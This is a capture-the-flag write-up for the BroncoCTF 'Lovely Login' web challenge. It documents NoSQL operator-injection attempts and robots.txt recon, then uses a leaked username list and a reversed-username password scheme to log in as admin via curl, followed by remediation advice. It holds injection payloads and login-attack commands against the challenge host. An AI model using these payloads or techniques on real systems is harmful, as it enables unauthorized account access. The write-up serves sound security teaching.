BroncoCTF: Lovely Login
Executive Summary
Lovely Login presents a minimal "Secure Database" login form backed by an Express API at /login. The obvious attack surface - NoSQL operator injection on username/password - turned out to be a dead end, as both fields were type-checked server-side before being used in any query. The actual vulnerability was much simpler: a leftover internal documentation page (/security), disclosed via a commented-out Disallow entry in robots.txt, revealed that user passwords are generated by reversing the username string. Combining a base64-encoded username list (also hidden in robots.txt) with that logic yielded valid credentials for admin on the first try.
Root cause: sensitive internal notes and a predictable, non-random password-derivation scheme were left reachable in a production-facing deployment, and the "protection" for the page was a robots.txt entry - which only asks well-behaved crawlers not to visit, and does nothing to actually restrict access.
Flag: bronco{[REDACTED]}
Recon
The landing page is a small login card that POSTs JSON to /login:
fetch("/login", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ username: u, password: p })
});
Response headers confirmed the stack: X-Powered-By: Express.
Baseline probing established two distinct error paths, which suggested a two-step lookup (find user, then check password) rather than a single combined query:
| Request | Response |
|---|---|
{"username":"test","password":"test"} |
No such user |
{"username":"admin","password":"admin"} |
Wrong password |
This confirmed admin was a valid, existing account.
Dead End: NoSQL Injection
Given the "Secure Database" framing and the two-step error behavior, NoSQL operator injection ($gt, $ne, $regex, $exists, etc.) was the natural first hypothesis. A range of payloads were tried against both fields:
-d '{"username": {"$gt": ""}, "password": {"$gt": ""}}' # -> No such user
-d '{"username": "admin", "password": {"$gt": ""}}' # -> Wrong password
-d '{"username": "admin", "password": {"$ne": ""}}' # -> Wrong password
-d '{"username": "admin", "password": {"$regex": "^"}}' # -> Wrong password
-d '{"username": ["admin"], "password": "test"}' # -> No such user (rules out type-juggling via array)
Every variation returned the same generic error regardless of whether the injected operator should have matched everything or nothing (e.g. an impossible $regex gave the identical response to a match-all $regex). That consistency across payloads is itself the signal: both fields are being type/shape-checked (likely cast to String, or explicitly validated) before ever reaching a database query, so no operator survives to be interpreted by Mongo. This path was abandoned once the impossible-vs-match-all regex test came back identical.
A side probe of the urlencoded content-type (password[$gt]=) triggered a 500 Internal Server Error instead - interesting, but a crash from an undefined field being passed into a comparison function, not an exploitable state.
The Actual Vulnerability: Information Disclosure
With injection ruled out, standard web recon turned up the real issue:
$ curl -s https://broncoctf-lovely-login.chals.io/robots.txt
User-agent: *
Disallow: /security
# amVmZixzYXJhaCxhZG1pbixndWVzdA==
Two findings in three lines:
Disallow: /security-robots.txtis a request to well-behaved crawlers, not an access control. It effectively points straight at a page the developers didn't want indexed but never actually protected.- A base64 comment. Decoded:
$ echo 'amVmZixzYXJhaCxhZG1pbixndWVzdA==' | base64 -d jeff,sarah,admin,guest- a list of valid usernames, handed over for free.
Visiting the disallowed page confirmed the design flaw directly:
$ curl -s https://broncoctf-lovely-login.chals.io/security
<h1>Internal Security Notes</h1>
<p><b>Status:</b> Work in progress</p>
<ul>
<li>Passwords are derived from usernames</li>
<li>Current implementation stores them backwards for obfuscation</li>
<li>Planned upgrade: hashing + salting</li>
</ul>
<p><b>TODO:</b> remove this page before production deployment!</p>
Password derivation, spelled out: password = username, reversed. No hashing, no salting, no randomness - just a string reversal, and the developers' own TODO admits it never got fixed.
Exploitation
admin reversed is nimda:
curl -X POST https://broncoctf-lovely-login.chals.io/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"nimda"}'
<h2>Welcome, admin.</h2>
<pre>bronco{[REDACTED]}</pre>
Logged in on the first attempt.
Key Vulnerabilities
| # | Issue | Impact |
|---|---|---|
| 1 | robots.txt used as a substitute for access control on /security |
Sensitive internal design notes exposed to anyone who reads the file |
| 2 | Username list leaked via base64 "hidden" comment in a public file | Removes the need to brute-force or guess valid accounts |
| 3 | Password = reverse(username), no hashing/salting |
Full credential compromise for every account, computable with zero cracking effort |
Remediation
- Never rely on
robots.txtfor access control. It is a courtesy convention for crawlers, not a security boundary - anything sensitive needs real authentication/authorization on the route itself. - Don't leave debug/internal documentation pages reachable in production, encoded or not. If it must exist, gate it behind auth and strip it from any public web root before deploy.
- Derive nothing security-sensitive from public data. A password that's computable from the username (even non-reversibly) is not a secret. Use random, per-user salts and a proper password hashing algorithm (bcrypt/argon2/scrypt).
- Audit what ships to production. The page's own TODO shows the team knew this was temporary - a pre-deploy checklist or CI check for debug routes would have caught it.
Attack Chain
robots.txt (Disallow: /security)
│
├── base64 comment ──► decode ──► valid usernames: jeff, sarah, admin, guest
│
└── GET /security ──► discloses password scheme: password = reverse(username)
│
▼
POST /login {"username":"admin","password":"nimda"}
│
▼
Authenticated as admin
│
▼
FLAG: bronco{[REDACTED]}
Comments
No comments yet. Start the discussion.